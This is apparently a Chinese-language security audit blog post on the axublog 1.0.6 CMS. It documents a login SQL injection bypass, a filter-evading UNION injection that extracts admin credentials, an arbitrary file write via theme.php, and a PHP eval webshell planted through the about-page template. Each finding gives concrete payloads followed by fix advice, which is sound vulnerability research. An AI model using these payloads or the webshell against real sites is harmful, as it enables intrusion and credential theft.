AXUBLOG 代码审计报告

[ 审计信息 ]

版本:axublog1.0.6
编辑器:phpstorm
调试工具:XDEBUG、SEAY源代码审计系统、Firefox、BurpSuit

漏洞一:后台万能密码登陆

[ 审计方法]

动态调试

[ 漏洞原理与危害 ]

原理:SQL注入
危险等级:高危

[ 漏洞分析 ]

在 ./ad/login.php 的第84行开始看到$user、$psw$loginlong都是直接从$_POST直接传送过来的。

function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); 
@$loginlong=$_POST["loginlong"];

setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');

$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
if(!$sql){$jieguo="<div id=redmsg>(数据库查询失败!)</div>";}else{
   $num=mysql_num_rows($sql);
            if($num==0){$jieguo='<div id=redmsg>登录失败:账户或密码错误!</div>';}
            else{
loginpass($loginlong);
            $jieguo='<div id=bluemsg>登录成功!正在前往<a href="index.php">后台</a>。。。</div><meta http-equiv="refresh" content="1;url=index.php">';
            @$chkmoblie=isMobile();
            if($chkmoblie==1){$jieguo='<div id=bluemsg>登录成功!正在前往<a href="wap.php">后台</a>。。。</div><meta http-equiv="refresh" content="1;url=wap.php">';}
            }

在静态审计的过程中需要追入一开始的include的文件用以检查是否对 $_POST变量进行过滤。但是这个比较复杂的过程可以通过使用动态调试来简化。
./ad/login.php 中第5行下断点以便追踪$_POST变量的值。
图片
当从登陆页面输入登陆的账户和密码,程序便可断在我们设置的断点处。
图片

这里没有发现有对$_POST变量进行过滤,继续追踪下去。
在第94行发现我们传递的数值没有经过过滤就直接带入到数据库进行查询,这就造成SQL注入
图片
等执行完流程之后发现登陆成功了。
图片

[ Payload构造 ]

构造POST数据

user=aaa'+or+1=1+#&psw=admin&loginlong=86400

[ 修复建议 ]

  1. 增加对变量的过滤,可以增加如下代码:
function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0); 
@$loginlong=$_POST["loginlong"];

// -------------------add-filter-code--------------
    if(!get_magic_quotes_gpc()){
        @$user=htmlentities($user,ENT_QUOTES,'utf-8');
        @$psw=htmlentities($psw,ENT_QUOTES,'utf-8');
        @$loginlong=htmlentities($loginlong,ENT_QUOTES,'utf-8');
    }
// ------------------------------------------------

setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');

$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
if(!$sql){$jieguo="<div id=redmsg>(数据库查询失败!)</div>";}else{
... (余下代码省略)

图片
2. 更改数据库交互函数,使用PDO等预编译技术

漏洞二:前台数字型SQL注入

[ 审计方法]

静态分析

[ 漏洞原理与危害 ]

原理:SQL注入
危险等级:高危

[ 漏洞分析 ]

./hit.php文件代码如下:

<?php
header("Content-type:text/html; charset=utf-8");
require("cmsconfig.php");
require("class/c_other.php");
sqlguolv();

$g=$_GET['g'];


if ($g=='arthit'){
$id=$_GET['id'];
    if($id!=''){
    
$tab=$tabhead."arts";
mysql_select_db($tab);
$sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);
$sql = mysql_query("select * from ".$tab." where id=".$id);
$row=mysql_fetch_array($sql);
    $str=$row['hit'];
    echo 'document.write('.$str.');';
    }
}

在第16行和第17行都将 $id直接带入SQL查询,而$id是直接从 $_GET['id'] 中提取的。
设想使用如下url进行注入,但发现被拦截了

http://localhost/test/hit.php?g=arthit&id=1 union select 1,2,3,4,5,6,7,8,9,10,11,12

图片

这里被拦截的原因出自 sqlguolv() 。追入该函数看过滤的代码:

Function sqlguolv() {
      @header("Content-type:text/html; charset=utf-8");
if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!";    exit;}
}

这里尝试使用大小写来绕过,但是因为正则函数是使用 /i ,导致大小写被忽略,所以不可行。这里Thinking师傅的审计文章里有提到:

sqlguolv()函数中对字符串进行检测的方式是从 $_SERVER['QUERY_STRING'] 中提取请求的字符串,并且不会对URL编码进行解码。
但是在 hit.php 中对参数的赋值是从$_GET中提取的,而GET方法会对URL进行一次解码
因此过滤可以被绕过。

[ Payload构造 ]

构造URL:

http://localhost/test/hit.php?g=arthit&id=-1+%75%6e%69on+s%65%6c%65ct+1,2,3,4,5,6,user(),8,9,10,11,12

图片
获取管理员的账号密码

http://localhost/test/hit.php?g=arthit&id=-1%20+%55NION+ALL+%53ELECT+1,2,3,4,5,6,concat(adnaa,'|',adpss),8,9,10,11,12%20from%20axublog_adusers

图片

[ 修复建议 ]

  1. 加强sqlguolv()的功能,针对 $_SERVER['QUERY_STRING']不对URL进行解码的问题进行修复,即增加解码的步骤并完善正则匹配的关键字。
//c_other.php

Function sqlguolv() {
    @header("Content-type:text/html; charset=utf-8");
    //---------------fix-part---------------

    $checkpara = '/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|concat|\^|preg|like|substr|\(|\)/i';
    $_SERVER['QUERY_STRING'] = urldecode($_SERVER['QUERY_STRING']);
    if (preg_match($checkpara,$_SERVER['QUERY_STRING'])==1 or preg_match($checkpara,file_get_contents("php://input"))==1){
        echo "警告 非法访问!";
        exit;
    }

    //--------------------------------------

}

图片

  1. 针对此处的漏洞进行修复:此处漏洞是数字型,所以直接对id进行强制转换成int型再带入查询。
//hit.php
if ($g=='arthit'){
$id=$_GET['id'];

    if($id!=''){
    //-----------fix-code--------------------------
        $id = intval($id);
    //---------------------------------------------
        $tab=$tabhead."arts";
        mysql_select_db($tab);
        $sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);
        $sql = mysql_query("select * from ".$tab." where id=".$id);
        $row=mysql_fetch_array($sql);
        $str=$row['hit'];
        echo 'document.write('.$str.');';
    }

}

3、使用预编译技术和数据库进行交互。

三、任意文件上传

[ 审计方法]

静态分析

[ 漏洞原理与危害 ]

原理:因为对传入的参数控制不严格导致任意文件上传可getshell。
危险等级:高危

[ 漏洞分析 ]

在 ./ad/theme.php 的第186行有如下代码:

<?php 
function edit2save(){
global $themepath;
?>
<div class="yj_green" id=full>
<b class="b1"></b><b class="b2"></b><b class="b3"></b><b class="b4"></b>
<div class="boxcontent">
<h2><a href="?">主题管理</a> > <a href="javascript:history.go(-2)">编辑主题</a> > 编辑文件 > <a href="javascript:history.back()">返回</a></h2>
</div>
<div class="t1"><div class="t2">
<?php
$path=$_REQUEST['path'];
$content=stripslashes($_REQUEST['content']);
?>
<p>编辑文件:<?=$path?></p>
<?php
if($path==''){echo'文件路径错误!';exit;}

if(file_put_contents ($path, $content)){echo"保存文件成功!";} 
else{echo"保存文件失败!";}
?>

该部分是对传入的$content的内容写入$path所指定的文件中。但是在写入的过程中没有对$content进行过滤,所以可以在$content中传入恶意代码。

再查找该函数所调用的地方,一共是有两处:
图片
第一处在app.php的第18行;
第二处是在theme.php的第15行,在switch语句的分支内:
图片

两处使用方法都一样。

[ Payload构造 ]

POST /test/ad/theme.php?g=edit2save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Cookie: tagshu=2; Phpstorm-412f56be=1eecaa0c-569a-4b04-a486-b30c93e38533; bdshare_firstime=1544593304718; UM_distinctid=169d2e34f2b31-02627307218e188-4c312d7d-1fa400-169d2e34f2c50; CNZZDATA1256279252=838561257-1554019595-%7C1554019595; artshu=2; CNZZDATA1260680534=639309003-1554195859-http%253A%252F%252Flocalhost%252F%7C1554220147; applinks=%3Cp%3E%3Ca++target%3D%22main%22+href%3D%22..%2Fapp%2Fdbbackup%2Findex.php%22%3Edbbackup%E6%95%B0%E6%8D%AE%E5%BA%93%E5%A4%87%E4%BB%BD%E6%81%A2%E5%A4%8D%E7%A8%8B%E5%BA%8F%3C%2Fa%3E%3C%2Fp%3E; PHPSESSID=p9354usd4oqusi7v73ujr01gp2; lggqsj=2019-04-05+14%3A54%3A51; chkad=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A67.0%29+Gecko%2F20100101+Firefox%2F67.0_127.0.0.1_2019-04-04+14%3A54%3A50
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 48

path=../evil.php&content=<?php phpinfo(); ?>

图片
图片

写webshell也类似,就不再贴图了。

[ 修复建议 ]

  1. 针对本主题而言,调用edit2save的函数功能点仅仅是编辑about页面:
    图片

其页面的地址也是固定的:所以直接在后台写死或者在后台对传递来的path做校验。
从theme.php的第195行开始

<?php
$path=$_REQUEST['path'];
//------fix-code-----------
if ($path != '../theme/default/about.mb'){
    echo 'about.mb地址不正确';
    exit ;
}
//---------------------------
$content=stripslashes($_REQUEST['content']);
?>
<p>编辑文件:<?=$path?></p>
<?php
if($path==''){
    echo'文件路径错误!';
    echo $path;
    exit;
}

图片

四、后台生成about页面getshell

[ 审计方法]

静态分析

[ 漏洞原理与危害 ]

原理:因为在生成about的时候调用了ob_get_contents函数来执行about.mb里面的php语句,而没有做应有的检查所以导致可以写入webshell。
危险等级:高危

[ 漏洞分析 ]

./ad/html.php 的第694行有如下代码:

ob_start();
include($mb);
$html = ob_get_contents ();
ob_clean();
$html=mbreplace($html);
file_put_contents ($cache, $html);

echo '生成about.html成功: <a target=blank href="'.$cache.'">访问</a>';
?>

这个地方实际上就是把about.mb包含进来之后执行其内部的php语句,然后再将一些标签替换成变量的值,最后把处理的结果放入$cache变量中再将其写入aout.html页面。虽然最后生成的页面是静态的,但是依旧不会阻止getshell的脚步。

[ payload构造 ]

思路一:用 file_get_content函数写入webshell:
在about.mb尾部添加如下代码:

<?php 
file_put_contents('../shell.php','<?php @eval($_GET["a"]); ?>'); 
?>

然后点击生成about页面,就可以看到目录下生成了webshell
图片
然后访问:

http://localhost/test/shell.php?a=phpinfo();

图片

思路二:通过类似方法,使用system函数执行反弹脚本的语句。

[ 修复意见 ]

  1. 对about.mb的内容进行检测,匹配是否存在file_put_contentscall_user_funcevalassertsystem等容易造成危险的函数,若有就报错并结束流程。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章